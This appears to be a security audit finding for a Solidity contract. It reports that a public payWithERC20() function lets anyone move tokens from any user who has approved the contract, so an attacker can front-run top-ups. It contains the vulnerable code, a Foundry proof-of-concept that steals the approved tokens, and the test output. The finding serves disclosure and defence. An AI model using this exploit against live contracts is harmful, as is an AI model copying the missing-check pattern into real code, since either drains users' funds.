Melted Steel Puppy

High

# Attacker could front run user's top up due to lack of control check for `payWithERC20()` function

## Vulnerability details

The `BlueprintCore` contract facilitates a user for top up. The vulnerability arises when the `userTopUp()` function integrates with `payWithERC20()` function. The `payWithERC20()` function is intended to help protocol facilitating transfer token functionality. But, there is a lack of check leading to attacker front run a user when top up.

```solidity
    function userTopUp(address tokenAddress, uint256 amount) public {
        require(amount > 0, "Amount must be greater than 0");

        require(paymentAddressEnableMp[tokenAddress], "Payment address is not valid");

@>      payWithERC20(tokenAddress, amount, msg.sender, feeCollectionWalletAddress);

        // update user top up
        userTopUpMp[msg.sender][tokenAddress] += amount;

        emit UserTopUp(msg.sender, feeCollectionWalletAddress, tokenAddress, amount);
    }

    function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) public {
        // check from and to address
        require(fromAddress != toAddress, "Cannot transfer to self address");
        require(toAddress != address(0), "Invalid to address");
        require(amount > 0, "Amount must be greater than 0");

        // @audit missing check for fromAddress and toAddress
        IERC20 token = IERC20(erc20TokenAddress);
        token.safeTransferFrom(fromAddress, toAddress, amount);
    }
```

The scenario following : 
1. Users approve `BlueprintCore` contract for some amount
2. Users call `userTopUp` function
3. Attacker front run users for directly calling `payWithERC20`

## Impact

Attacker steal tokens from users when users top up

## Proof of concept

```solidity
   function test_attackerFrontrunuserTopUp() public {
        uint256 topUpAmount = 100 * 10 ** 18;
        blueprint.addPaymentAddress(address(mockToken));

        // 1. user setup for payment
        vm.startPrank(user);
        mockToken.mint(user, topUpAmount);
        mockToken.approve(address(blueprint), topUpAmount);
        vm.stopPrank();

        // 2. attacker create a front run
        vm.prank(attacker);
        blueprint.payWithERC20(address(mockToken), topUpAmount, user, attacker);

        // 3. users can not top up
        vm.expectRevert();
        blueprint.userTopUp(address(mockToken), topUpAmount);

        // Verify the token transfer
        uint256 blueprintBalance = mockToken.balanceOf(address(blueprint.feeCollectionWalletAddress()));
        assertEq(blueprintBalance, 0);

        // verify user balance after top up
        uint256 balance = mockToken.balanceOf(attacker);
        assertEq(balance, topUpAmount);

        console.log("attacker : ", balance);
        console.log("feeCollectionWalletAddress : ", blueprintBalance);
    }
```

```bash
Ran 1 test for test/BlueprintV5.t.sol:BlueprintTest
[PASS] test_attackerFrontrunuserTopUp() (gas: 170065)
Logs:
  attacker :  100000000000000000000
  feeCollectionWalletAddress :  0
```

It also happens in : 
1. each functions which use createAgent internal function 
2. each functions which use updateWorkerDeploymentConfigCommon internal function

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25-L32